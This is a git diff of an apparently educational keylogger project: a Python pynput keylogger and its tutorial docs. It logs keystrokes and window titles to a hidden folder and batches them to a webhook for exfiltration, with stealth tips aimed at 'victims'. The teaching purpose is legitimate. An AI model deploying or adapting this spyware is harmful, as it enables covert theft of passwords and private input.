exc_info = True, ) - - if response.status_code == 200: - self.event_buffer.clear() - except Exception as e: - logging.error("Webhook delivery failed: %s", e) def flush(self) -> None: """ Force delivery of remaining buffered events """ + batch: list[KeyEvent] | None = None with self.buffer_lock: - self._deliver_batch() + if self.event_buffer: + batch = self.event_buffer + self.event_buffer = [] + + if batch: + self._deliver_batch(batch) class Keylogger: """ - Main keylogger class + Coordinates listener, log writer, and webhook """ def __init__(self, config: KeyloggerConfig): self.config = config @@ -304,7 +382,7 @@ class Keylogger: self.is_running = Event() self.is_logging = Event() - self.listener: keyboard.Listener | None = None + self.listener: keyboard.Listener | None = (None) self._current_window: str | None = None self._last_window_check = datetime.now() @@ -317,47 +395,40 @@ class Keylogger: return now = datetime.now() - if (now - self._last_window_check).total_seconds() >= 0.5: - self._current_window = self.window_tracker.get_active_window( + elapsed = (now - self._last_window_check).total_seconds() + + if (elapsed >= self.config.window_check_interval): + self._current_window = ( + self.window_tracker.get_active_window() ) self._last_window_check = now - def _process_key(self, key: Key | KeyCode) -> tuple[str, KeyType]: + def _process_key( + self, + key: Key | KeyCode, + ) -> tuple[str, + KeyType]: """ Convert key to string representation and type """ - special_keys = { - Key.space: "[SPACE]", - Key.enter: "[ENTER]", - Key.tab: "[TAB]", - Key.backspace: "[BACKSPACE]", - Key.delete: "[DELETE]", - Key.shift: "[SHIFT]", - Key.shift_r: "[SHIFT]", - Key.ctrl: "[CTRL]", - Key.ctrl_r: "[CTRL]", - Key.alt: "[ALT]", - Key.alt_r: "[ALT]", - Key.cmd: "[CMD]", - Key.cmd_r: "[CMD]", - Key.esc: "[ESC]", - Key.up: "[UP]", - Key.down: "[DOWN]", - Key.left: "[LEFT]", - Key.right: "[RIGHT]", - } - if isinstance(key, Key): - if key in special_keys: - return special_keys[key], KeyType.SPECIAL - return f"[{key.name.upper()}]", KeyType.SPECIAL + label = SPECIAL_KEYS.get(key) + if label: + return label, KeyType.SPECIAL + return ( + f"[{key.name.upper()}]", + KeyType.SPECIAL, + ) if hasattr(key, 'char') and key.char: return key.char, KeyType.CHAR return "[UNKNOWN]", KeyType.UNKNOWN - def _on_press(self, key: Key | KeyCode) -> None: + def _on_press( + self, + key: Key | KeyCode, + ) -> None: """ Callback for key press events """ @@ -372,14 +443,15 @@ class Keylogger: key_str, key_type = self._process_key(key) - if key_type == KeyType.SPECIAL and not self.config.log_special_keys: + if (key_type == KeyType.SPECIAL + and not self.config.log_special_keys): return event = KeyEvent( timestamp = datetime.now(), key = key_str, window_title = self._current_window, - key_type = key_type + key_type = key_type, ) self.log_manager.write_event(event) @@ -387,31 +459,44 @@ class Keylogger: def _toggle_logging(self) -> None: """ - Toggle logging on/off with F9 key + Toggle logging on/off with the configured key """ + toggle = (self.config.toggle_key.name.upper()) + if self.is_logging.is_set(): self.is_logging.clear() - print("\n[*] Logging paused. Press F9 to resume.") + print( + f"\n[*] Logging paused. " + f"Press {toggle} to resume." + ) else: self.is_logging.set() - print("\n[*] Logging resumed. Press F9 to pause.") + print( + f"\n[*] Logging resumed. " + f"Press {toggle} to pause." + ) def start(self) -> None: """ Start the keylogger """ + toggle = (self.config.toggle_key.name.upper()) + webhook_status = ( + "Enabled" if self.webhook.enabled else "Disabled" + ) + print("Keylogger Started") print() print(f"Log Directory: {self.config.log_dir}") print( - f"Current Log: {self.log_manager.current_log_path.name}" - ) - print(f"Toggle Key: {self.config.toggle_key.name.upper()}") - print( - f"Webhook: {'Enabled' if self.webhook.enabled else 'Disabled'}" + "Current Log: " + f"{self.log_manager.current_log_path.name}" ) + print(f"Toggle Key: {toggle}") + print(f"Webhook: {webhook_status}") print() - print("[*] Press F9 to start/stop logging") + print("[*] Press " + f"{toggle} to start/stop logging") print("[*] Press CTRL+C to exit\n") self.is_running.set() @@ -422,7 +507,9 @@ class Keylogger: try: while self.is_running.is_set(): - self.listener.join(timeout = 1.0) + self.listener.join( + timeout = (LISTENER_JOIN_TIMEOUT_SECS) + ) except KeyboardInterrupt: self.stop() @@ -439,26 +526,18 @@ class Keylogger: self.listener.stop() self.webhook.flush() + self.log_manager.close() - print(f"[*] Logs saved to: {self.config.log_dir}") + print("[*] Logs saved to: " + f"{self.config.log_dir}") print("[*] Keylogger stopped.") def main() -> None: """ - Entry point with example configuration + Entry point with default configuration """ - config = KeyloggerConfig( - log_dir = Path.home() / ".keylogger_logs", - max_log_size_mb = 5.0, - webhook_url = None, - webhook_batch_size = 50, - toggle_key = Key.f9, - enable_window_tracking = True, - log_special_keys = True - ) - - keylogger = Keylogger(config) + keylogger = Keylogger(KeyloggerConfig()) try: keylogger.start() @@ -469,8 +548,6 @@ def main() -> None: if __name__ == "__main__": main() - - """ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀ ⢸⠉⣹⠋⠉⢉⡟⢩⢋⠋⣽⡻⠭⢽⢉⠯⠭⠭⠭⢽⡍⢹⡍⠙⣯⠉⠉⠉⠉⠉⣿⢫⠉⠉⠉⢉⡟⠉⢿⢹⠉⢉⣉⢿⡝⡉⢩⢿⣻⢍⠉⠉⠩⢹⣟⡏⠉⠹⡉⢻⡍⡇ diff --git a/PROJECTS/beginner/keylogger/learn/00-OVERVIEW.md b/PROJECTS/beginner/keylogger/learn/00-OVERVIEW.md index 7ecf45a0..50e3412f 100644 --- a/PROJECTS/beginner/keylogger/learn/00-OVERVIEW.md +++ b/PROJECTS/beginner/keylogger/learn/00-OVERVIEW.md @@ -80,7 +80,7 @@ Expected output: Keylogger Started Log Directory: /home/user/.keylogger_logs -Current Log: keylog_20250131_143022.txt +Current Log: keylog_20250131_143022_451283.txt Toggle Key: F9 Webhook: Disabled @@ -94,8 +94,8 @@ Once running, type some test text. Check `~/.keylogger_logs/` for the captured k ``` keylogger/ -├── keylogger.py # Main implementation (440 lines) -├── test_keylogger.py # Component tests +├── keylogger.py # Main implementation (~540 lines) +├── test_keylogger.py # 46 pytest tests ├── pyproject.toml # Dependencies and linting configuration ├── justfile # Build automation commands └── .keylogger_logs/ # Created at runtime for log storage @@ -111,9 +111,9 @@ keylogger/ ## Common Issues -**ImportError: No module named 'pynput'** +**ImportError: pynput is required** ``` -Error: pynput not installed. Run: pip install pynput +ImportError: pynput is required: uv add pynput ``` Solution: Run `just setup` to install all dependencies via uv. The project requires pynput 1.8.1 for keyboard capture. diff --git a/PROJECTS/beginner/keylogger/learn/01-CONCEPTS.md b/PROJECTS/beginner/keylogger/learn/01-CONCEPTS.md index d1ddbad2..1b215700 100644 --- a/PROJECTS/beginner/keylogger/learn/01-CONCEPTS.md +++ b/PROJECTS/beginner/keylogger/learn/01-CONCEPTS.md @@ -26,11 +26,11 @@ User Space Applications Hardware Controller ``` -The pynput library we use (`keylogger.py:29`) hooks into user space event listeners. On Linux it monitors X11 or Wayland events. On macOS it uses the Accessibility API. On Windows it sets up a low-level keyboard hook via SetWindowsHookEx under the hood. +The pynput library we use (`keylogger.py:43`) hooks into user space event listeners. On Linux it monitors X11 or Wayland events. On macOS it uses the Accessibility API. On Windows it sets up a low-level keyboard hook via SetWindowsHookEx under the hood. When a key is pressed, the OS delivers it to all registered listeners before the application processes it. This is why keyloggers see passwords even when they're typed into password fields that display asterisks. -In our implementation (`keylogger.py:367-383`): +In our implementation (`keylogger.py:428-458`): ```python def _on_press(self, key: Key | KeyCode) -> None: """ @@ -63,7 +63,7 @@ Every keystroke triggers this callback. The function processes the key, determin **Keystroke Encryption**: Tools like KeyScrambler encrypt keystrokes at the kernel level before they reach applications. This requires a kernel driver that intercepts events lower in the stack than user space keyloggers can access. -**Behavioral Detection**: EDR (Endpoint Detection and Response) systems look for suspicious patterns like reading keyboard events from non-GUI applications, accessing processes they shouldn't, or making network connections to known C2 servers. Our webhook delivery (`keylogger.py:234-255`) would trigger alerts in mature EDR systems. +**Behavioral Detection**: EDR (Endpoint Detection and Response) systems look for suspicious patterns like reading keyboard events from non-GUI applications, accessing processes they shouldn't, or making network connections to known C2 servers. Our webhook delivery (`keylogger.py:326-357`) would trigger alerts in mature EDR systems. **Hardware Security**: Some enterprises issue hardware security keys (YubiKey, etc) for authentication. Physical key presses can't be captured by software keyloggers since the authentication happens on the device. @@ -79,31 +79,31 @@ In the 2020 SolarWinds breach, attackers spent months inside networks exfiltrati ### How It Works -Our keylogger uses webhook delivery over HTTPS (`keylogger.py:234-255`): +Our keylogger uses webhook delivery over HTTPS (`keylogger.py:326-357`): ```python -def _deliver_batch(self) -> None: +def _deliver_batch(self, events: list[KeyEvent]) -> None: """ - Deliver buffered events to webhook endpoint + POST buffered events to the webhook endpoint """ - if not self.event_buffer or not self.config.webhook_url: + if not events or not self.config.webhook_url: return payload = { "timestamp": datetime.now().isoformat(), "host": platform.node(), - "events": [event.to_dict() for event in self.event_buffer] + "events": [e.to_dict() for e in events], } try: response = requests.post( self.config.webhook_url, json=payload, - timeout=5 + timeout=WEBHOOK_TIMEOUT_SECS, ) ``` -This looks like normal application traffic. It uses HTTPS (encrypted), posts to what appears to be a legitimate webhook endpoint, and batches events to reduce network noise. The `webhook_batch_size` parameter (`keylogger.py:67`) controls how many keystrokes accumulate before transmission. +This looks like normal application traffic. It uses HTTPS (encrypted), posts to what appears to be a legitimate webhook endpoint, and batches events to reduce network noise. The `webhook_batch_size` parameter (`keylogger.py:116`) controls how many keystrokes accumulate before transmission. Common exfiltration channels: - **HTTP/HTTPS POST**: Looks like API traffic, blends with normal web requests @@ -124,16 +124,20 @@ def _on_press(self, key): This creates massive network traffic and is easily detected. Every keystroke generates an HTTPS request, which network monitoring flags as anomalous. ```python -# Good: Batch events (keylogger.py:222-232) +# Good: Batch events with buffer swap (keylogger.py:308-324) def add_event(self, event: KeyEvent) -> None: if not self.enabled: return - + + batch: list[KeyEvent] | None = None with self.buffer_lock: self.event_buffer.append(event) - if len(self.event_buffer) >= self.config.webhook_batch_size: - self._deliver_batch() + batch = self.event_buffer + self.event_buffer = [] + + if batch: + self._deliver_batch(batch) ``` Batching reduces network calls by 50x or more. Sending 50 keystrokes in one request looks like a normal form submission. @@ -146,7 +150,7 @@ requests.post(webhook_url, json=payload) If the webhook is unreachable, keystrokes are lost forever. Sophisticated malware persists data locally and retries. -Our implementation logs to disk first (`keylogger.py:184-189`), then sends to webhook. If delivery fails, logs remain on disk for later exfiltration. +Our implementation logs to disk first (`keylogger.py:248-255`), then sends to webhook. If delivery fails, logs remain on disk for later exfiltration. ## Cross-Platform Malware Development @@ -156,29 +160,30 @@ Malware that runs on multiple operating systems (Windows, macOS, Linux) using pl ### How It Works -Our keylogger detects the platform and loads appropriate modules (`keylogger.py:35-54`): +Our keylogger detects the platform and loads appropriate modules (`keylogger.py:53-68`): ```python -if platform.system() == "Windows": +WINDOWS = "Windows" +DARWIN = "Darwin" +LINUX = "Linux" + +if platform.system() == WINDOWS: try: import win32gui import win32process import psutil except ImportError: win32gui = None -elif platform.system() == "Darwin": +elif platform.system() == DARWIN: try: from AppKit import NSWorkspace except ImportError: NSWorkspace = None -elif platform.system() == "Linux": - try: - import subprocess - except ImportError: - subprocess = None ``` -The WindowTracker class (`keylogger.py:121-165`) implements platform-specific window detection: +The `subprocess` module is imported unconditionally at module top level (line 27) since it's stdlib. Platform constants (`WINDOWS`, `DARWIN`, `LINUX`) eliminate repeated magic strings. + +The WindowTracker class (`keylogger.py:155-219`) implements platform-specific window detection: - Windows: Uses win32gui to get foreground window handle, then psutil for process info - macOS: Uses NSWorkspace to query the active application - Linux: Shells out to xdotool to get window title @@ -197,28 +202,34 @@ The strategy for storing captured data locally without filling the disk or creat ### How It Works -Our LogManager (`keylogger.py:168-218`) implements automatic rotation: +Our LogManager (`keylogger.py:222-296`) implements automatic rotation using direct file I/O: ```python def _check_rotation(self) -> None: """ - Check if log rotation is needed based on file size + Rotate log file when size limit is reached """ - current_size_mb = self.current_log_path.stat().st_size / (1024 * 1024) - - if current_size_mb >= self.config.max_log_size_mb: - self.logger.handlers[0].close() - self.logger.removeHandler(self.logger.handlers[0]) - - self.current_log_path = self._get_new_log_path() - handler = logging.FileHandler(self.current_log_path) - handler.setFormatter(logging.Formatter('%(message)s')) - self.logger.addHandler(handler) + try: + size = self.current_log_path.stat().st_size + except FileNotFoundError: + self._rotate() + return + + if size / BYTES_PER_MB >= self.config.max_log_size_mb: + self._rotate() + +def _rotate(self) -> None: + """ + Close current log file and open a new one + """ + self._file.close() + self.current_log_path = self._get_new_log_path() + self._file = open(self.current_log_path, 'a', encoding='utf-8') ``` -When a log file reaches the size limit (default 5MB), the logger closes it and creates a new file with a fresh timestamp. This prevents any single file from growing suspiciously large. +When a log file reaches the size limit (default 5MB), LogManager closes the file handle and opens a new one with a fresh timestamp (including microseconds for uniqueness). If the log file is deleted externally, `FileNotFoundError` triggers a rotation to recover gracefully. -The default config (`keylogger.py:65`) stores logs in `~/.keylogger_logs`, a hidden directory (leading dot) that won't appear in casual file browsing on Unix systems. +The default config (`keylogger.py:112`) stores logs in `~/.keylogger_logs`, a hidden directory (leading dot) that won't appear in casual file browsing on Unix systems. ### Common Attacks @@ -237,19 +248,21 @@ Techniques to avoid detection by antivirus, EDR systems, network monitoring, and ### How It Works -Our keylogger includes a toggle key (`keylogger.py:386-393`): +Our keylogger includes a toggle key (`keylogger.py:460-477`): ```python def _toggle_logging(self) -> None: """ - Toggle logging on/off with F9 key + Toggle logging on/off with the configured key """ + toggle = self.config.toggle_key.name.upper() + if self.is_logging.is_set(): self.is_logging.clear() - print("\n[*] Logging paused. Press F9 to resume.") + print(f"\n[*] Logging paused. Press {toggle} to resume.") else: self.is_logging.set() - print("\n[*] Logging resumed. Press F9 to pause.") + print(f"\n[*] Logging resumed. Press {toggle} to pause.") ``` This allows quick pausing if the victim becomes suspicious. More sophisticated malware uses process hiding, rootkit techniques, or even monitors for forensic tools and shuts down when detected. diff --git a/PROJECTS/beginner/keylogger/learn/02-ARCHITECTURE.md b/PROJECTS/beginner/keylogger/learn/02-ARCHITECTURE.md index e916bf6c..dfca4b1f 100644 --- a/PROJECTS/beginner/keylogger/learn/02-ARCHITECTURE.md +++ b/PROJECTS/beginner/keylogger/learn/02-ARCHITECTURE.md @@ -42,31 +42,31 @@ This document breaks down how the system is designed and why certain architectur - Purpose: Orchestrates all components and handles the event processing pipeline - Responsibilities: Receives keyboard events from pynput, processes keys, coordinates window tracking, delegates to logging and webhook delivery - Interfaces: Exposes `start()` and `stop()` methods for lifecycle management, registers `_on_press()` callback with pynput listener -- Location: `keylogger.py:293-424` +- Location: `keylogger.py:373-533` **LogManager** -- Purpose: Manages persistent storage of keystroke events with automatic file rotation -- Responsibilities: Creates timestamped log files, writes events to disk, monitors file size and rotates when limit reached, provides thread-safe access via locks -- Interfaces: `write_event(event)` for logging, `get_current_log_content()` for reading back logs -- Location: `keylogger.py:168-218` +- Purpose: Manages persistent storage of keystroke events with automatic file rotation using direct file I/O +- Responsibilities: Creates timestamped log files, writes events to disk via raw file handles, monitors file size and rotates when limit reached, provides thread-safe access via locks, handles explicit file handle cleanup via `close()` +- Interfaces: `write_event(event)` for logging, `get_current_log_content()` for reading back logs, `close()` for releasing file handles +- Location: `keylogger.py:222-296` **WebhookDelivery** - Purpose: Handles remote exfiltration of captured keystrokes via HTTP webhooks -- Responsibilities: Buffers events to reduce network traffic, batches events before sending, delivers JSON payloads to configured endpoint, handles delivery failures gracefully +- Responsibilities: Buffers events to reduce network traffic, batches events before sending, uses a buffer swap pattern to deliver outside the lock, delivers JSON payloads to configured endpoint, handles delivery failures gracefully - Interfaces: `add_event(event)` for queuing, `flush()` for forcing immediate delivery -- Location: `keylogger.py:221-263` +- Location: `keylogger.py:298-371` **WindowTracker** - Purpose: Determines which application has focus when keystrokes occur - Responsibilities: Platform detection (Windows/macOS/Linux), calls platform-specific APIs to get active window title, provides unified interface across platforms - Interfaces: Static method `get_active_window()` returns current window title or None -- Location: `keylogger.py:121-165` +- Location: `keylogger.py:155-219` **KeyEvent (Data Model)** - Purpose: Immutable representation of a single keystroke with metadata - Responsibilities: Stores timestamp, key value, window context, and key type classification - Interfaces: `to_dict()` for JSON serialization, `to_log_string()` for human-readable formatting -- Location: `keylogger.py:84-107` +- Location: `keylogger.py:123-152` ## Data Flow @@ -79,45 +79,47 @@ Step by step walkthrough of what happens when a user presses a key: User presses 'a' key, OS delivers event to all registered listeners pynput captures event and triggers our callback -2. Listener → Keylogger._on_press() (keylogger.py:367) +2. Listener → Keylogger._on_press() (keylogger.py:428) Callback receives Key or KeyCode object - Checks if it's the toggle key (F9) → pause/resume if so + Checks if it's the toggle key (dynamically reads config toggle key) → pause/resume if so Checks if logging is active → early return if paused -3. Keylogger → WindowTracker.get_active_window() (keylogger.py:360) +3. Keylogger → WindowTracker.get_active_window() (keylogger.py:390) Calls platform-specific code to get active window - Caches result for 0.5 seconds to avoid excessive API calls + Caches result for config.window_check_interval seconds (default 0.5) to avoid excessive API calls Returns window title like "Chrome - Gmail" or None -4. Keylogger → _process_key() (keylogger.py:322) +4. Keylogger → _process_key() (keylogger.py:406) Converts Key/KeyCode to string representation + Looks up special keys via module-level SPECIAL_KEYS constant Maps special keys (Enter→"[ENTER]", Space→"[SPACE]") Classifies key type (CHAR, SPECIAL, UNKNOWN) -5. Keylogger → Creates KeyEvent (keylogger.py:373) +5. Keylogger → Creates KeyEvent (keylogger.py:450) Bundles timestamp, key string, window title, and key type - Creates immutable dataclass instance + Creates dataclass instance -6. Keylogger → LogManager.write_event() (keylogger.py:184) +6. Keylogger → LogManager.write_event() (keylogger.py:248) Acquires lock for thread safety Formats event to log string: "[2025-01-31 14:30:22][Chrome] a" - Writes to current log file via Python logging + Writes to current log file via direct file I/O (self._file.write + flush) Checks file size and rotates if needed -7. Keylogger → WebhookDelivery.add_event() (keylogger.py:222) - Adds event to buffer array +7. Keylogger → WebhookDelivery.add_event() (keylogger.py:308) + Adds event to buffer array under lock Checks if buffer reached batch size (default 50) - If full, serializes all events to JSON and POST to webhook + If full, swaps the buffer (replaces with empty list) under lock + Delivers the batch OUTSIDE the lock via HTTP POST ``` Example with code references: ``` 1. User types "p" → OS delivers KeyCode(char='p') -2. _on_press receives event (keylogger.py:367-383) +2. _on_press receives event (keylogger.py:428-458) Validates logging is active, not the toggle key -3. _update_active_window() called (keylogger.py:352-362) +3. _update_active_window() called (keylogger.py:390-404) Returns "Visual Studio Code - keylogger.py" 4. _process_key(KeyCode(char='p')) → ("p", KeyType.CHAR) @@ -125,16 +127,17 @@ Example with code references: 5. KeyEvent created: timestamp=datetime.now() - key="p" + key="p" window_title="Visual Studio Code - keylogger.py" key_type=KeyType.CHAR -6. LogManager.write_event() (keylogger.py:184-189) +6. LogManager.write_event() (keylogger.py:248-255) Writes: "[2025-01-31 14:30:45][Visual Studio Code - keylogger.py] p" Checks: Current file is 4.2 MB, under 5 MB limit, no rotation -7. WebhookDelivery.add_event() (keylogger.py:222-232) - Buffer now has 47 events, not yet at batch size 50 +7. WebhookDelivery.add_event() (keylogger.py:308-324) + Acquires lock, appends event, buffer now has 47 events + Not yet at batch size 50, releases lock, no delivery ``` ### Secondary Use Case: Log File Rotation @@ -142,25 +145,29 @@ Example with code references: Step by step for when log file grows too large: ``` -1. LogManager.write_event() → _check_rotation() (keylogger.py:191) - After writing event, checks current log file size - -2. _check_rotation() (keylogger.py:191-208) - Reads file size: 5.1 MB (over 5 MB limit) - Closes current logging handler - Removes handler from logger +1. LogManager.write_event() → _check_rotation() (keylogger.py:257) + After writing and flushing event, checks current log file size -3. _get_new_log_path() (keylogger.py:180) - Generates new filename with current timestamp - Format: "keylog_20250131_143500.txt" +2. _check_rotation() (keylogger.py:257-268) + Tries to stat the file for its size + If FileNotFoundError (file deleted externally), rotates immediately + Otherwise reads file size: 5.1 MB (over 5 MB limit) + Calls _rotate() + +3. _rotate() (keylogger.py:270-280) + Closes current file handle (self._file.close()) + Generates new path via _get_new_log_path() + +4. _get_new_log_path() (keylogger.py:240-246) + Generates new filename with current timestamp including microseconds + Format: "keylog_20250131_143500_123456.txt" Returns Path object in log_dir -4. Creates new FileHandler - Opens new file for writing - Configures formatter (plain message, no log level) - Adds handler back to logger +5. Opens new file handle + self._file = open(new_path, 'a', encoding='utf-8') + Ready for next write -5. Next write_event() call → Goes to new file +6. Next write_event() call → Goes to new file Old file preserved with all historical keystrokes ``` @@ -172,7 +179,7 @@ Step by step for when log file grows too large: The Observer pattern allows objects to subscribe to events and react when they occur. The subject (keyboard) notifies observers (our callback) without tight coupling. **Where we use it:** -pynput's `keyboard.Listener` implements the Observer pattern (`keylogger.py:407-413`): +pynput's `keyboard.Listener` implements the Observer pattern (`keylogger.py:505-506`): ```python self.listener = keyboard.Listener(on_press=self._on_press) @@ -194,30 +201,37 @@ Observer pattern is ideal for event-driven systems where we don't control the ti Multiple threads accessing shared data requires synchronization primitives like locks to prevent race conditions. **Where we use it:** -LogManager uses a lock around file operations (`keylogger.py:187-189`): +LogManager uses a lock around file operations (`keylogger.py:252-255`): ```python def write_event(self, event: KeyEvent) -> None: - with self.lock: - self.logger.info(event.to_log_string()) + with self._lock: + self._file.write(event.to_log_string() + '\n') + self._file.flush() self._check_rotation() ``` -WebhookDelivery also uses a lock for the event buffer (`keylogger.py:225-232`): +WebhookDelivery uses a lock with a buffer swap pattern (`keylogger.py:315-324`). The key insight is that delivery happens outside the lock: ```python def add_event(self, event: KeyEvent) -> None: + if not self.enabled: + return + batch: list[KeyEvent] | None = None with self.buffer_lock: self.event_buffer.append(event) if len(self.event_buffer) >= self.config.webhook_batch_size: - self._deliver_batch() + batch = self.event_buffer + self.event_buffer = [] + if batch: + self._deliver_batch(batch) ``` **Why we chose it:** -The pynput callback runs in a separate thread from our main program. Without locks, simultaneous file writes could corrupt the log file. Similarly, the event buffer could have race conditions if accessed from multiple threads. +The pynput callback runs in a separate thread from our main program. Without locks, simultaneous file writes could corrupt the log file. Similarly, the event buffer could have race conditions if accessed from multiple threads. The buffer swap pattern in WebhookDelivery minimizes lock hold time by doing the slow network I/O outside the lock. **Trade-offs:** -- Pros: Prevents data corruption, ensures consistency, simple to reason about (lock → access → unlock) +- Pros: Prevents data corruption, ensures consistency, simple to reason about (lock, access, unlock), buffer swap minimizes contention during network delivery - Cons: Potential performance bottleneck (though keyboard events are slow enough this doesn't matter), risk of deadlock if locks acquired in wrong order (we only use one lock per component so this isn't an issue) ### Immutable Data with Dataclasses @@ -226,7 +240,7 @@ The pynput callback runs in a separate thread from our main program. Without loc Dataclasses provide a clean syntax for creating classes that primarily store data. Making them immutable (frozen) prevents accidental modification. **Where we use it:** -KeyEvent represents an immutable keystroke (`keylogger.py:84-107`): +KeyEvent represents a keystroke (`keylogger.py:123-152`): ```python @dataclass @@ -237,7 +251,7 @@ class KeyEvent: key_type: KeyType = KeyType.CHAR ``` -KeyloggerConfig stores configuration (`keylogger.py:64-82`): +KeyloggerConfig stores configuration (`keylogger.py:107-120`): ```python @dataclass @@ -289,17 +303,17 @@ Layers enable independent modification. We can swap LogManager for a database wr ### What Lives Where **Application Layer:** -- Files: Main Keylogger class (`keylogger.py:293-424`) +- Files: Main Keylogger class (`keylogger.py:373-533`) - Imports: Can import from service and data layers - Forbidden: Direct file I/O (delegates to LogManager), HTTP requests (delegates to WebhookDelivery) **Service Layer:** -- Files: LogManager (`keylogger.py:168-218`), WebhookDelivery (`keylogger.py:221-263`), WindowTracker (`keylogger.py:121-165`) +- Files: LogManager (`keylogger.py:222-296`), WebhookDelivery (`keylogger.py:298-371`), WindowTracker (`keylogger.py:155-219`) - Imports: Can import data layer, should not import application layer - Forbidden: Knowledge of Keylogger implementation details, accessing pynput directly **Data Layer:** -- Files: KeyEvent (`keylogger.py:84-107`), KeyloggerConfig (`keylogger.py:64-82`), KeyType (`keylogger.py:57-62`) +- Files: KeyEvent (`keylogger.py:123-152`), KeyloggerConfig (`keylogger.py:107-120`), KeyType (`keylogger.py:98-104`) - Imports: Only standard library (datetime, pathlib, enum) - Forbidden: Business logic, I/O operations, external dependencies @@ -338,17 +352,19 @@ class KeyloggerConfig: toggle_key: Key = Key.f9 enable_window_tracking: bool = True log_special_keys: bool = True + window_check_interval: float = WINDOW_CHECK_INTERVAL_SECS ``` **Fields explained:** -- `log_dir`: Where log files are stored. Default `~/.keylogger_logs` is hidden on Unix. Created automatically via `__post_init__`. -- `log_file_prefix`: Prefix for log filenames. Combined with timestamp to create unique files like "keylog_20250131_143022.txt". +- `log_dir`: Where log files are stored. Default `~/.keylogger_logs` is hidden on Unix. Created automatically by LogManager's `__init__`, not by KeyloggerConfig (config is a pure data container with no side effects). +- `log_file_prefix`: Prefix for log filenames. Combined with timestamp to create unique files like "keylog_20250131_143022_987654.txt". - `max_log_size_mb`: File size limit in megabytes before rotation. 5MB default balances stealth (not too large) with minimizing file count. - `webhook_url`: Optional remote endpoint for exfiltration. If None, only local logging occurs. Must be HTTPS for security. - `webhook_batch_size`: Number of keystrokes to buffer before sending. Higher values reduce network noise but increase data loss risk if program crashes. - `toggle_key`: Hotkey to pause/resume logging. Default F9 is unlikely to be pressed accidentally but easy to reach. - `enable_window_tracking`: Whether to capture active window titles. Adds context but requires platform-specific dependencies. - `log_special_keys`: Whether to log [SHIFT], [CTRL], etc. Set False to reduce log size and focus on printable characters. +- `window_check_interval`: How often (in seconds) to refresh the cached window title. Defaults to the WINDOW_CHECK_INTERVAL_SECS constant (0.5 seconds). **Relationships:** Passed to all service layer components (LogManager, WebhookDelivery, Keylogger). Centralized configuration avoids passing individual parameters. @@ -428,7 +444,7 @@ WebhookDelivery maintains an in-memory buffer of KeyEvent objects before batch d ### Environment Variables -The project doesn't use environment variables by default. Configuration is hardcoded in `main()` (`keylogger.py:427-436`). This avoids dependencies on shell environment but makes it harder to change config without modifying code. +The project doesn't use environment variables by default. Configuration is hardcoded in `main()` (`keylogger.py:536-547`), which simply creates a `Keylogger(KeyloggerConfig())` with all defaults. This avoids dependencies on shell environment but makes it harder to change config without modifying code. For production use, you'd add environment variable support: ```python @@ -451,15 +467,16 @@ Would load config from encrypted file or remote C2 server. Log directory hidden ### Bottlenecks Where this system gets slow under load: -1. **File I/O on every keystroke** - Writing to disk for each event creates I/O contention. Mitigated by Python's logging module which buffers writes, but high keystroke rates (fast typist or gaming) could still cause lag. -2. **Window title lookups** - Platform APIs (win32gui, NSWorkspace, xdotool subprocess) have latency. We cache window title for 0.5 seconds (`keylogger.py:357-362`) to reduce API calls from thousands per second to ~2 per second. -3. **Webhook HTTP requests** - Network latency blocks the callback thread during POST. We use timeout=5 (`keylogger.py:249`) to avoid hanging indefinitely but 5 seconds is still noticeable if batches send frequently. +1. **File I/O on every keystroke** - Writing to disk for each event creates I/O contention. LogManager calls `self._file.write()` followed by `self._file.flush()` on every keystroke, bypassing any OS-level write buffering. High keystroke rates (fast typist or gaming) could still cause lag. +2. **Window title lookups** - Platform APIs (win32gui, NSWorkspace, xdotool subprocess) have latency. We cache window title for `config.window_check_interval` seconds (default 0.5, `keylogger.py:400`) to reduce API calls from thousands per second to ~2 per second. +3. **Webhook HTTP requests** - Network latency blocks the callback thread during POST. We use timeout=WEBHOOK_TIMEOUT_SECS (5 seconds, `keylogger.py:346`) to avoid hanging indefinitely but 5 seconds is still noticeable if batches send frequently. ### Optimizations What we did to make it faster: -- **Window title caching**: Only update every 0.5 seconds instead of every keystroke. Reduces API calls by 99%+ for typical typing speeds. +- **Window title caching**: Only update every `config.window_check_interval` seconds (default 0.5) instead of every keystroke. Reduces API calls by 99%+ for typical typing speeds. Interval is configurable via KeyloggerConfig. - **Batched webhook delivery**: Sending 50 events in one request instead of 50 individual requests reduces network overhead from ~1 second per keystroke to ~1 second per 50 keystrokes. +- **Buffer swap pattern**: WebhookDelivery swaps the event buffer under the lock and delivers outside the lock. The lock is only held for the brief list swap, not during the slow HTTP POST. - **Lock-free reads in hot path**: The `_on_press` callback doesn't acquire locks during key processing, only when writing to shared resources. Reduces contention. ### Scalability @@ -472,17 +489,18 @@ Doesn't apply. This runs on a single victim machine. You can't distribute one ke ## Design Decisions -### Decision 1: Plain Text Logs vs Encrypted Logs +### Decision 1: Plain Text Logs via Direct File I/O **What we chose:** -Plain text logs written with Python's logging module. +Plain text logs written with direct file I/O (`open()`, `write()`, `flush()`). **Alternatives considered:** +- Python's `logging` module with FileHandler: Adds unnecessary abstraction and log-level formatting overhead for what is ultimately plain text output - Encrypted logs with AES: Harder to detect via keyword scans but requires key management and decryption on exfiltration - Database storage (SQLite): Enables querying and indexing but adds dependency and creates obvious .db file **Trade-offs:** -Plain text is simple and educational. You can open log files in any text editor and immediately see captured keystrokes. This trades stealth (forensics can easily find passwords in plaintext) for learning value. Production malware would encrypt logs. +Direct file I/O is the simplest approach. We control the exact format, there's no log-level prefix or formatter to configure, and the file handle is managed explicitly with `close()` for clean shutdown. You can open log files in any text editor and immediately see captured keystrokes. This trades stealth (forensics can easily find passwords in plaintext) for learning value. Production malware would encrypt logs. ### Decision 2: Dataclasses vs Regular Classes @@ -531,21 +549,25 @@ Deployment requires initial access (phishing, USB drop, etc) and depends on whet ### Error Types -1. **Import failures (missing dependencies)** - Caught at module level (`keylogger.py:35-54`), sets module to None. Code checks `if win32gui:` before using platform-specific features. -2. **Webhook delivery failures** - Caught and logged (`keylogger.py:251-255`), doesn't crash the keylogger. Events remain in buffer for next attempt. -3. **File I/O errors** - Not explicitly handled. Would crash on permission denied or disk full. Should wrap in try/except for production. +1. **Import failures (missing dependencies)** - pynput import failure raises 